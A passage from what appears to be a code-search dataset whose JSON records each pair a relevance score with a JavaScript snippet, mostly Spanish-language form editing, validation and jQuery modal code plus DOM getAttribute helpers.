introducidos son correctos en la funcion de validar habilitamos el boton\r\n\tif(validarEDITEvaluacion()){\r\n\t\teditarEvaluacion.editar.disabled = false;\r\n\t}\r\n\t//Si los datos introducidos son incorrectos en la funcion de validar deshabilitamos el boton\r\n\telse{\r\n\t\teditarEvaluacion.editar.disabled = true;\r\n\t}\r\n}", "title": "" }, { "docid": "6c222c1caf51140c83c824ace05c0c66", "score": "0.5531429", "text": "function editarRecuperarTextareaObservacionesExamen(){\n\t\n\t$(\"#editarObservacionesExamen\").val($(\"#editarContenidoTextoTexarea_observacionesExamen\").html());\n\t\n\t$(\"#editarContenidoEditorObservacionesExamen\").hide(\"slower\");\n\t\n\t$(\"#editarObservacionesExamen\").show(\"slower\");\n\t$(\"#label_editarObservacionesExamen\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "72d15b1b28e0f39770bbb5af199cc08b", "score": "0.55287606", "text": "editPNocorriente(index){\n this.pasivo.p_nocorriente.edit = true;\n this.registro.p_nocorriente = index;\n this.bi.const_id = this.p_nocorrientes[index].cuenta_id;\n this.pasivo.p_nocorriente.cuenta_id = this.p_nocorrientes[index].cuenta_id;\n this.pasivo.p_nocorriente.saldo = this.p_nocorrientes[index].saldo;\n $('#bg-transaccion').modal('show');\n $('#nav-bg-pasivo-no-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "bced7069f07bbcd62b9709f26a53c08f", "score": "0.55274206", "text": "editNoAcorriente(index){\n this.activo.a_nocorriente.edit = true;\n this.registro.a_nocorriente = index;\n this.bi.const_id = this.a_nocorrientes[index].cuenta_id;\n this.activo.a_nocorriente.cuenta_id = this.a_nocorrientes[index].cuenta_id;\n this.activo.a_nocorriente.saldo = this.a_nocorrientes[index].saldo;\n $('#biv-transaccion').modal('show');\n $('#nav-biv-activo-no-corriente-tab').tab('show'); \n }", "title": "" }, { "docid": "242b1ce7c03b3e2c009c2eae1f9ed8f8", "score": "0.5526802", "text": "function validarEditarFuncionalidad(){\r\n\t//Si los datos introducidos son correctos en la funcion de validar habilitamos el boton\r\n\tif(validarEDITFunc()){\r\n\t\teditarFuncionalidad.editar.disabled = false;\r\n\t}//Si los datos introducidos son incorrectos en la funcion de validar deshabilitamos el boton\r\n\telse{\r\n\t\teditarFuncionalidad.editar.disabled = true;\r\n\t}\r\n}", "title": "" }, { "docid": "09ca999e102d26682267e1d060cc208f", "score": "0.55252117", "text": "function addProdtoEdit(name, image, description, availableStock, price, productId, productStatus) {\n currentEdit.querySelector(\"#product-name\").textContent = name;\n currentEdit.querySelector(\"#srcPhoto\").src = image;\n currentEdit.querySelector(\"#product-description\").textContent = description;\n currentEdit.querySelector(\"#product-stock\").textContent = availableStock;\n currentEdit.querySelector(\"#product-price\").textContent = price;\n currentEdit.querySelector(\"#prod-id\").textContent = productId;\n currentEdit.querySelector('input[name=\"product-status\"]').value = productStatus;\n\n /*sunt afisate in textinput valorile deja existente in baza de date pentru a usura experienta utilizatorului\n in cazul in care doreste sa aduca doar modificari minore produsului */\n currentEdit.querySelector(\"#new-name\").value = currentEdit.querySelector(\"#product-name\").textContent;\n currentEdit.querySelector(\"#new-photo\").value = currentEdit.querySelector(\"#srcPhoto\").src;\n currentEdit.querySelector(\"#new-description\").value = currentEdit.querySelector(\"#product-description\").textContent;\n currentEdit.querySelector(\"#new-stock\").value = currentEdit.querySelector(\"#product-stock\").textContent;\n currentEdit.querySelector(\"#new-price\").value = currentEdit.querySelector(\"#product-price\").textContent;\n currentEdit.querySelector('input[name=\"product-status\"]:checked').value = productStatus;\n }", "title": "" }, { "docid": "3e00f3a14fa9397d84dbe1b72247e54a", "score": "0.55223495", "text": "function EDITaddToEquipaPrincipal(id_episodio) {\n var listaToAdd = [];\n equipaPrincipalPossibilidades.forEach(function(elemento, it) {\n if($(\"#possibilidade\"+it).is(':checked')){\n listaToAdd.push(elemento.n_mec);\n }\n });\n if(listaToAdd.length == 0){\n toastr(\"Selecione pelo menos um elemento para adicionar aos elegíveis para integrar uma Equipa Cirurgica\", \"error\");\n return;\n }\n var episodio; \n for(var i = episodios.length-1; i>=0; i--){\n if(episodios[i]['id'] == id_episodio){\n episodio = episodios[i];\n break;\n }\n }\n var targetServicoID = episodio.servico;\n var targetServico;\n for (let index = servicos.length-1; index >= 0; index--) {\n const servicoCandidadte = servicos[index];\n if(servicoCandidadte['id'] == targetServicoID){\n targetServico = servicoCandidadte;\n break;\n }\n }\n var tempfuncoes = targetServico.lista_funcoes; \n var funcoes = [];\n tempfuncoes.forEach(function(funcao) {\n if(funcao['equipa'] == 'EC'){\n funcoes.push(funcao);\n }\n });\n \n $(\"#addMemberToCirugicTeam-modal .container-filtros\").remove();\n $(\"#addMemberToCirugicTeam-modal #addToEquipaCirurgica\").empty();\n $(\"#addMemberToCirugicTeam-modal .modal_title\").html(\"Definir funções dos elementos escolhidos <i onclick='closeSubModal();' class='fas fa-times-circle close_modal'></i>\");\n $(\"#addToEquipaCirurgicaEdit-btns\").html(\"<button id='confirmFuncoesEquipaCirurgica' class='confirm-btn'>Confirmar</button>\");\n var header= \"<div class='col_container borderBottom tableHeader'>\"+\n \"<div class='col col_65'>\"+\n \"<h5>Funcionário</h5>\"+\n \"</div>\"+\n \"<div class='col col_35'>\"+\n \"<h5>Função</h5>\"+\n \"</div>\"+\n \"</div>\";\n $(\"#addMemberToCirugicTeam-modal #addToEquipaCirurgica\").html(header);\n listaToAdd.forEach(function(pos) {\n var elemento = null;\n for (let index = 0; index < equipaPrincipalPossibilidades.length; index++) {\n const element = equipaPrincipalPossibilidades[index];\n if(element.n_mec == pos){\n elemento = element;\n break;\n }\n }\n var row = \"<div class='col_container'>\"+\n \"<div class='col col_65'>\"+\n \"<div class='col_container'>\"+\n \"<div class='col col_65'>\"+\n \"<div style='float: left; width:15%;' class='borderBottom marginBottom10'>\"+\n elemento['n_mec']+\n \"</div>\"+ \n \"<div class='borderBottom marginBottom10' style='margin-left:20px; float:left; width: calc(85% - 30px);'>\"+\n elemento['nome'].toUpperCase()+\n \"</div>\"+\n \"</div>\"+\n \"<div class='col col_35'>\"+\n \"<div class='borderBottom marginBottom10'>\"+\n elemento['categoria'].toUpperCase()+\n \"</div>\"+\n \"</div>\"+\n \"</div>\"+\n \"</div>\"+\n \"<div class='col col_35'>\";\n if(funcoes.length > 0){\n row+= \"<select style='margin-top:5px;' id='funcao\"+pos+\"'>\"+\n \"<option value=''>Nenhuma</option>\";\n funcoes.forEach(function (funcao, it) {\n row += \"<option value='\"+it+\"'>\"+funcao['sigla']+\" - \"+funcao['funcao']+\"</option>\";\n });\n row+= \"<select>\";\n } else {\n row+= \"<select style='margin-top:5px;' id='funcao\"+pos+\"'>\"+\n \"<option value=''>Nenhuma</option>\";\n funcoes.forEach(function (funcao, it) {\n row += \"<option value='\"+it+\"'>\"+funcao['sigla']+\" - \"+funcao['funcao']+\"</option>\";\n });\n row+= \"<select>\";\n row += \"<span style='color:red; margin: 0; transform: translateY(50%); font-size:10px'> (Este Serviço não tem nenhum função definida)</span>\";\n }\n row+= \"</div>\"+\n \"</div>\";\n $(\"#addMemberToCirugicTeam-modal #addToEquipaCirurgica\").append(row);\n });\n\n document.getElementById('confirmFuncoesEquipaCirurgica').addEventListener('click', function(){\n var anyWithoutFuncion = false;\n var left = null;\n for (let it = 0; it < listaToAdd.length; it++) {\n if($(\"#funcao\"+listaToAdd[it]).val() == '' || $(\"#funcao\"+listaToAdd[it]).val() == undefined){\n anyWithoutFuncion = true;\n left = listaToAdd[it];\n break;\n }\n }\n if(anyWithoutFuncion){\n var intervenienteLeft;\n for (let id = 0; id < equipaPrincipalPossibilidades.length; id++) {\n const element = equipaPrincipalPossibilidades[id];\n if(element.n_mec == left){\n intervenienteLeft = element;\n }\n }\n toastr(\"Defina a função do Colaborador '\"+intervenienteLeft['nome']+\"'\",\"error\");\n return;\n }\n var body = {\n episodio: id_episodio,\n funcoes: []\n };\n listaToAdd.forEach(function (it) {\n var elemento = null;\n for (let index = 0; index < equipaPrincipalPossibilidades.length; index++) {\n const element = equipaPrincipalPossibilidades[index];\n if(element.n_mec == it){\n elemento = element;\n break;\n }\n }\n var obj = {\n prof: elemento['n_mec'],\n func: funcoes[parseInt($(\"#funcao\"+it).val())]\n };\n body.funcoes.push(obj);\n }); \n var fd = new FormData();\n fd.append('body', JSON.stringify(body));\n var user = JSON.parse(sessionStorage.getItem('user'));\n fd.append('user', user['user']);\n addLoading();\n $.ajax({\n type: \"POST\",\n url: \"./api/episodios/addIntervenientesEC.php\",\n data: fd,\n processData: false,\n contentType: false,\n success:function(data){\n removeLoading();\n var response = JSON.parse(data); \n if(response == 'error'){\n toastr(\"Erro ao adicionar elementos à Equipa Cirurgica\", \"error\");\n return;\n } else {\n getEpisodioInfoById(id_episodio);\n }\n }\n }); \n });\n \n}", "title": "" }, { "docid": "7280c76e18a4c5d3b0d61fa9e2af40b1", "score": "0.5519718", "text": "function addCon1RegistroY1DatoInmediato(rx, inm) {\r\n //el dato inmedito debe ser de 8 bits\r\n // let reg = parseInt(rx.charAt(1));\r\n // let inm = parseInt(inm.substr(1));\r\n\r\n let reg = parseInt(borrarElementoCadena(rx, 'r'));\r\n let inm8 = parseInt(borrarElementoCadena(inm, '#'));\r\n //Hacer que sean registros a los que el usuario pueda acceder\r\n if (reg >= 8) {\r\n imprimirError(errores[\"registro\"][3]);\r\n } else {\r\n if (inm8 > 255) {\r\n imprimirError(errores[\"espacio\"][5]);\r\n } else {\r\n let operando1 = \"\"; //registro\r\n let resultado;\r\n\r\n //extraer el contenido\r\n for (let i = 2; i <= 9; i++) {\r\n operando1 += registros[reg].contenido.charAt(i);\r\n }\r\n operando1 = parseInt(operando1);\r\n resultado = operando1 + inm8;\r\n if (resultado < 0) { //aplicar complemento a2 con k=32 bits\r\n resultado = Ca2(resultado);\r\n registros[reg].contenido = resultado;\r\n } else {\r\n resultado = resultado.toString(16); //convirtiendo a hexadecimal\r\n //preparando resultado\r\n let cantidadBytesResult2 = resultado.length;\r\n let bytesAdd = (8 - cantidadBytesResult2);\r\n let ceros = \"\"\r\n for (let i = 0; i < bytesAdd; i++) {\r\n ceros += \"0\"\r\n }\r\n console.log(\"0x\" + ceros + resultado);\r\n resultado = \"0x\" + ceros + resultado;\r\n console.log(registros[registros[reg].contenido]);\r\n //almacenar el resultado en los registros\r\n registros[reg].contenido = resultado;\r\n\r\n }\r\n\r\n }\r\n generarRegistros();\r\n fin = finalizando();\r\n mostrarEnMensajesExito(inicio, fin);\r\n }\r\n\r\n}", "title": "" }, { "docid": "af56d06dfd1e9a69f8f56dffbc70b827", "score": "0.5519325", "text": "function doArticleEdit() {\r\n\tallElements = document.getElementById('contentRow').children[1];\r\n\ttmp = allElements.children[0];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Newspaper/,\"Газета\");\r\n\t\r\n\tallElements = document.getElementById('command');\r\n\ttmp = allElements.parentNode.children[0];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Edit article/,\"Редагувати статтю\");\r\n\ttmp = allElements.children[1];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Article title:/,\"Назва статті:\");\r\n\ttmp = allElements.children[6];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Message:/,\"Повідомлення:\");\r\n\t\r\n\treplaceLinkByHref({\r\n\t\t\"editNewspaper.html\":[\"Edit newspaper\",\"Редагувати газету\"],\r\n\t\t\"http://wiki.e-sim.org/index.php/Newspaper\":[\"Newspaper tutorial on wiki\",\"Довідник: Газета\"]\r\n\t});\r\n\treplaceInputByValue({\r\n\t\t\"Edit article\":[\"Edit article\",\"Редагувати статтю\"]\r\n\t});\r\n}", "title": "" }, { "docid": "1bd620e354843a5b6eedb17f67dac7ae", "score": "0.55129623", "text": "function updateTableModificar(ressult){\n\tlet persona = {};\n\n\tfor(let j = 0; j < cols.length; j++){\n\t\tpersona[cols[j]] = document.getElementById(cols[j] + '-' + idButtonEvent).value;\n\t}\n\n\tcleanMensajes();\n\tmsjSucces(JSON.stringify(persona), 'Modificado');\n}", "title": "" }, { "docid": "28700db625c01393996f8002cec85745", "score": "0.55114233", "text": "editPcorriente(index){\n this.pasivo.p_corriente.edit = true;\n this.registro.p_corriente = index;\n this.bi.const_id = this.p_corrientes[index].cuenta_id;\n this.pasivo.p_corriente.cuenta_id = this.p_corrientes[index].cuenta_id;\n this.pasivo.p_corriente.saldo = this.p_corrientes[index].saldo;\n $('#bg-transaccion').modal('show');\n $('#nav-bg-pasivo-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "7c08ae090d317445375a3c1edc580914", "score": "0.5504172", "text": "function OpcionEditar(fila,funcion){\n\tthis.a = document.createElement(\"a\");\n imagen = document.createElement(\"img\");\n imagen.setAttribute(\"src\",imagenModificar);\n this.a.setAttribute(\"value\",\"Modificar\");\n imagen.setAttribute(\"class\",\"imagenEscalable\");\n imagen.setAttribute(\"title\",\"Modificar\");\n imagen.setAttribute(\"alt\",\"Modificar\");\n\tthis.a.setAttribute(\"onclick\",funcion);\n\tthis.a.appendChild(imagen);\n}", "title": "" }, { "docid": "c09cd802b29f59100fa8f213efcc25f7", "score": "0.550367", "text": "function RegistrarAlumno(){\r\n //validacion de datos\r\n //creamos procedimientos para validar\r\n //esta en un JS\r\n //capturando valores\r\n var nom=txtNom.value;\r\n var ape=txtApe.value;\r\n var dni=txtDni.value;\r\n var tur=rbM.value;\r\n var est=chkEst.value;\r\n var cur=\"\";\r\n var indice=cboCurso.selectedIndex;\r\n switch(indice){\r\n case 1:\r\n cur=\"Diseño web\";\r\n case 2:\r\n cur=\"Base de datos\";\r\n case 3:\r\n cur=\"Programacion Java\";\r\n break;\r\n default:\r\n cur=\"\";\r\n break;\r\n }\r\n //llamamos al procedimiento Registrar\r\n Registrar(nom,ape,dni,cur,tur,est);\r\n //llamamos al procedimiento para mostrar\r\n MostrarAlumno(); \r\n}", "title": "" }, { "docid": "157d513c5f3fc635e5faca2a685696e0", "score": "0.5498875", "text": "function editar() {\n let cuatrimestrePeriodo = this.dataset.cuatrimestre;\n let annoPeriodo = this.dataset.anno;\n\n let periodo = buscarPeriodo(cuatrimestrePeriodo, annoPeriodo);\n console.log(periodo);\n setPeriodo(periodo);\n location.href = \"../html/modificarPeriodo.html\";\n}", "title": "" }, { "docid": "dfd275d1ec5325d5656883fd3369d3de", "score": "0.54976654", "text": "function add() {\n var newRegistro = angular.copy(registro.editedRegistro); \n RegistroService.add(newRegistro);\n // Refreshing the state of the constructor\n registro.resetForm(); \n }", "title": "" }, { "docid": "43391793936735d992333ea6d1c42186", "score": "0.5495508", "text": "function doNewspaperEdit() {\r\n\tallElements = document.getElementById('editNewspaperForm');\r\n\t\r\n\ttmp = allElements.children[0]; \r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Newspaper name:/,\"Назва газети:\");\r\n \ttmp = allElements.children[4]; \r\n\ttmp.innerHTML=tmp.innerHTML.replace(/New avatar:/,\"Новий аватар:\");\r\n tmp = allElements.childNodes[9];\r\n\ttmp.nodeValue=tmp.nodeValue.replace(\"max. size\",\"макс. розмір:\");\r\n \t\r\n\treplaceLinkByHref({\r\n\t\t\"editNewspaper.html\":[\"Edit newspaper\",\"Редагувати газету\"]\r\n\t});\r\n\treplaceInputByValue({\r\n\t\t\"Delete\":[\"Edit newspaper\",\"Редагувати газету\"]\r\n\t});\r\n \r\n}", "title": "" }, { "docid": "0948205ff4639c2dc07f4e1bf6f93e13", "score": "0.54937494", "text": "function editDiferenciaConciliacion(rowid, title, tipoAcceso) {\r\n\t$('#solucionDifListEdit').selectmenu('destroy');\t\r\n\t$('#solucionDifListEdit').selectmenu({style:'dropdown', width:'250px'});\t\r\n\r\n\t$('#stDiferenciaEdit').selectmenu('destroy');\t\r\n\t$('#stDiferenciaEdit').selectmenu({style:'dropdown', width:'250px'});\t\r\n\r\n\t$(\"#tipoModificacion\").val(tipoAcceso);\t\r\n\tif (tipoAcceso == 'A') {\r\n $(\"#cdOrdenDife\").val('0');\r\n\t $(\"#obsDifConciliaEdit\").val('');\r\n $('#solucionDifListEdit').selectmenu('setValue', '0');\t\r\n $('#stDiferenciaEdit').selectmenu('setValue', 'ACT');\r\n $('#stDiferenciaEdit').selectmenu('disabled', true);\t\r\n\t $(\"#cdRemitoEdit\").val('');\r\n\t $(\"#nbPiezaDesdeEdit\").val('');\r\n\t $(\"#nbPiezaHastaEdit\").val('');\r\n\t $(\"#ctDiferenciaEdit\").val('');\r\n\t $(\"#imDiferenciaEdit\").val('');\r\n\t} else {\r\n\t\tvar cdOrden = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'cdOrden');\r\n\t\tvar nbObservaciones = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'observacion');\r\n\t\tvar tpSolucion = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'tpSolucion');\r\n\t\tvar stDiferencia = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'stDiferencia');\r\n\t\tvar cdRemito = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'cdRemito');\r\n\t\tvar nbPiezaDesde = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'pzaDesde');\r\n\t\tvar nbPiezaHasta = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'pzaHasta');\r\n\t\tvar ctDiferencia = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'ctDiferencia');\r\n\t\tvar imPrecioTotal = $('#gridDiferenciasId').jqGrid('getCell', rowid, 'imPrecioTot');\r\n\t imPrecioTotal = imPrecioTotal.replace('.',',');\r\n\t\t\r\n\t\t$(\"#cdOrdenDife\").val(cdOrden);\r\n\t\t$(\"#obsDifConciliaEdit\").val(nbObservaciones);\r\n\t\t$(\"#solucionDifListEdit\").selectmenu('setValue', tpSolucion);\r\n\t\t$(\"#stDiferenciaEdit\").selectmenu('setValue', stDiferencia);\r\n $('#stDiferenciaEdit').selectmenu('disabled', false);\t\r\n\t\t$(\"#cdRemitoEdit\").val(cdRemito);\r\n\t\t$(\"#nbPiezaDesdeEdit\").val(nbPiezaDesde);\r\n\t\t$(\"#nbPiezaHastaEdit\").val(nbPiezaHasta);\r\n\t\t$(\"#ctDiferenciaEdit\").val(ctDiferencia);\r\n\t\t$(\"#imDiferenciaEdit\").val(imPrecioTotal);\r\n\t}\r\n $('#dialogDiferenciaConciliacion').dialog('option','title', title);\r\n $('#dialogDiferenciaConciliacion').dialog('open');\r\n}", "title": "" } ]
a6cce33fd0a3a43b3628d12f6b3a6b6f
end of getType start of getAttribute
[ { "docid": "da746fdf5b026ad600389be40c03fac6", "score": "0.0", "text": "function getAttribute(cardArr){\n cardArr.map(card => {\n attribute.push(card.attribute);\n })\n displayAttribute([...attribute]); \n }", "title": "" } ]
[ { "docid": "8b557ffbcfa9852e17302b20ebd9a321", "score": "0.70610446", "text": "get type() {\n return this.getAttribute('type') || '';\n }", "title": "" }, { "docid": "c35298238984f8195ac5e57798c94e2f", "score": "0.6704369", "text": "getAttribute(name) {\n return this.attributes[name];\n }", "title": "" }, { "docid": "666897d38830466ef2a7ff67146443a6", "score": "0.6583809", "text": "attrib(attributeName, size, type) {\n this.buffer.attrib( attributeName, size, type )\n }", "title": "" }, { "docid": "8bad09834162826060ebce27ab277706", "score": "0.64868367", "text": "function Attr(){}", "title": "" }, { "docid": "09ddc31954b12c12eb6141d7dce2619c", "score": "0.6361645", "text": "get type() {\n return this.getStringAttribute('type');\n }", "title": "" }, { "docid": "d3cd8ed9fb7c92f86083480dee0f61ca", "score": "0.63572544", "text": "_getAttribute(attr) {\n attr = attr.toLowerCase();\n return this.getAttributes().find(x => x.toLowerCase() == attr);\n }", "title": "" }, { "docid": "441d7c9ee846f6f5e80c2a3a7822e160", "score": "0.633112", "text": "_getAttribute_raw(attrname){\n\t\tconst attrsymbol = R.libR.Rf_install(attrname);\n\t\treturn R.libR.Rf_getAttrib(this.sexp, attrsymbol);\n\t}", "title": "" }, { "docid": "1f4efa40c97389ca5e22423281415efd", "score": "0.62988216", "text": "function A(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}", "title": "" }, { "docid": "1f4efa40c97389ca5e22423281415efd", "score": "0.62988216", "text": "function A(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}", "title": "" }, { "docid": "54d8fc283cef915894039f8c530bfcfd", "score": "0.6246313", "text": "function y(a){return a.type=(null!==a.getAttribute(\"type\"))+\"/\"+a.type,a}", "title": "" }, { "docid": "57336a289b54ef57b3376239e63128c1", "score": "0.6233511", "text": "function _XMLNode_getAttribute(name) \n{ \n if(this.domNode.attributes == null) return null;\n return this.domNode.getAttribute(name); \n}", "title": "" }, { "docid": "02de68f096e17dddb6b650b7291c6f2d", "score": "0.6184064", "text": "function E(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}", "title": "" }, { "docid": "61a339b507d0e3b8cffeaaedd09147bb", "score": "0.6173718", "text": "function findAttributes() {\r\n\r\n var href = document.getElementById('w3r').getAttribute('href');\r\n var hreflang = document.getElementById('w3r').getAttribute('hreflang');\r\n var rel = document.getElementById('w3r').getAttribute('rel');\r\n var target = document.getElementById('w3r').getAttribute('target');\r\n var type = document.getElementById('w3r').getAttribute('type');\r\n\r\n console.log(href);\r\n console.log(hreflang);\r\n console.log(rel);\r\n console.log(target);\r\n console.log(type);\r\n\r\n}", "title": "" }, { "docid": "b84db2250da10548ade071e6802fa737", "score": "0.61070675", "text": "function getAttributes() {\n return ATTRS;\n}", "title": "" }, { "docid": "560453d92ff5d5c9ba05cde1598fd61b", "score": "0.6103728", "text": "parseAttributes() {}", "title": "" }, { "docid": "4e37356238ddc78ede802db1965a0008", "score": "0.60967594", "text": "get attr() {\n return this.attributes.get('attributes');\n }", "title": "" }, { "docid": "1c117d63cf7844d2d0ff143559ee9511", "score": "0.6094052", "text": "function getAttributeTag(tag) {\n\tvar inputArr = document.getElementsByTagName(tag);\n\tif(inputArr.length > 0) {\n\t\t//testDiv2(\"--- GETTING ---\");\n\t\tfor (var i = 0; i < inputArr.length; i++) {\n\t\t\tvar input = inputArr[i];\n\t\t\tif(input.id !== \"\") {\n\t\t\t\tInputArrayID.push(input.id);\n\t\t\t\t//testDiv2(\"id: '\" + input.id + \"' = '\" + getAttributeField(input) + \"'\");\n\t\t\t\tInputArrayState.push(getAttributeField(input));\n\t\t\t} else if(input.name !== \"\") {\n\t\t\t\tInputArrayID.push(input.name);\n\t\t\t\t//testDiv2(\"name: '\" + input.name + \"' = '\" + getAttributeField(input) + \"'\");\n\t\t\t\tInputArrayState.push(getAttributeField(input));\n\t\t\t}\n\t\t}\n\t\t//testDiv2(\"<hr />\");\n\t}\n}", "title": "" }, { "docid": "56e29cc4a85db6a3a8ec3e6c108fbf65", "score": "0.6084566", "text": "function dom_getAttribute(control,attribute)\n{\n//alert(control + \":\" + attribute);\n\tvar attrib;\n\tif (control)\n\t{\n\t\tif (_val_DOM)\n\t\t\tattrib = control.getAttribute(attribute, false);\n\t\telse\n\t\t\tattrib = eval(_val_allString + control.id + \".\" + attribute + _val_endAllString);\n\t}\n\treturn attrib;\n}", "title": "" }, { "docid": "f4f5e9a995ffea707a71bcf627deca46", "score": "0.60526496", "text": "static get observedAttributes() {\n return ['mode','href','icon'];\n }", "title": "" }, { "docid": "ff9164cb93932ccc7b074debe40b09a1", "score": "0.6022307", "text": "get attribute() {\n return this.__attribute.get();\n }", "title": "" }, { "docid": "5be35b178daf018334e25e59b838a68c", "score": "0.6010696", "text": "get attributes() { return this[attributes]; }", "title": "" }, { "docid": "a7a4d0d6d078727e807a837be59f059e", "score": "0.5991696", "text": "getAttribute(name) {\n return this.getAttributeNS(null, name);\n }", "title": "" }, { "docid": "a378c7ea31ce0aed1c821f6ccc0c7f5c", "score": "0.59391534", "text": "static get observedAttributes() { return ['src', 'width', 'type']; }", "title": "" }, { "docid": "ea3161c575154f2ca3120a8035ac50e3", "score": "0.5900895", "text": "function Attribute(gl, program, name, length, type) {\n this.gl = gl;\n this.program = program;\n this.name = name;\n this.length = length;\n this.type = type;\n this.location = this.gl.getAttribLocation(program, name);\n\n if (this.type == gl.FLOAT) {\n this.byteLength = 4 * this.length;\n } else {\n console.warn(\"Unknown type \" + this.type);\n }\n }", "title": "" }, { "docid": "ab08a1df6b1c2d1c18959a1ee281c9eb", "score": "0.58959764", "text": "function s(a){return a.type=(null!==a.getAttribute(\"type\"))+\"/\"+a.type,a}", "title": "" }, { "docid": "7479b3e2efdb8c85049ebc14fad0ee57", "score": "0.5891683", "text": "function N(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.58765787", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.58765787", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.58765787", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.58765787", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.58765787", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "094b223d5e83ac40d5c2ba9044b9c0bb", "score": "0.58609235", "text": "getData(e, attrName) {\n return e.getAttribute('data-' + attrName);\n }", "title": "" }, { "docid": "15ce7439fddfa30181d9c679caa4acc6", "score": "0.5849614", "text": "function _getAttribute(obj, options) {\n if (typeof options === 'string') {\n options = {\n shortName: options\n };\n }\n\n var rval = null;\n var attr;\n\n for (var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n\n if (options.type && options.type === attr.type) {\n rval = attr;\n } else if (options.name && options.name === attr.name) {\n rval = attr;\n } else if (options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n\n return rval;\n}", "title": "" }, { "docid": "e662f2c974e1ae9d0f5974f0ea2347cb", "score": "0.58214337", "text": "function GetType(x,y){ \r\n return Get(x,y).getAttribute(\"class\"); \r\n}", "title": "" }, { "docid": "61031df7a4ca370a3cf2a04eb05f6b57", "score": "0.581034", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}// If the object is an opaque reference ID, it's expected that\n// the next prop is different than the server value, so just return\n// expected\nif(isOpaqueHydratingObject(expected)){return expected;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "61031df7a4ca370a3cf2a04eb05f6b57", "score": "0.581034", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}// If the object is an opaque reference ID, it's expected that\n// the next prop is different than the server value, so just return\n// expected\nif(isOpaqueHydratingObject(expected)){return expected;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "d4d826105c18938643941e707317082e", "score": "0.57892305", "text": "function hc_elementretrieveallattributes() {\n var success;\n if(checkInitialization(builder, \"hc_elementretrieveallattributes\") != null) return;\n var doc;\n var addressList;\n var testAddress;\n var attributes;\n var attribute;\n var attributeName;\n var actual = new Array();\n\n htmlExpected = new Array();\n htmlExpected[0] = \"title\";\n\n expected = new Array();\n expected[0] = \"title\";\n expected[1] = \"dir\";\n\n var docRef = null;\n if (typeof(this.doc) != 'undefined') {\n docRef = this.doc;\n }\n doc = load(docRef, \"doc\", \"hc_staff\");\n addressList = doc.getElementsByTagName(\"acronym\");\n testAddress = addressList.item(0);\n attributes = testAddress.attributes;\n\n for(var indexN1006B = 0;indexN1006B < attributes.length; 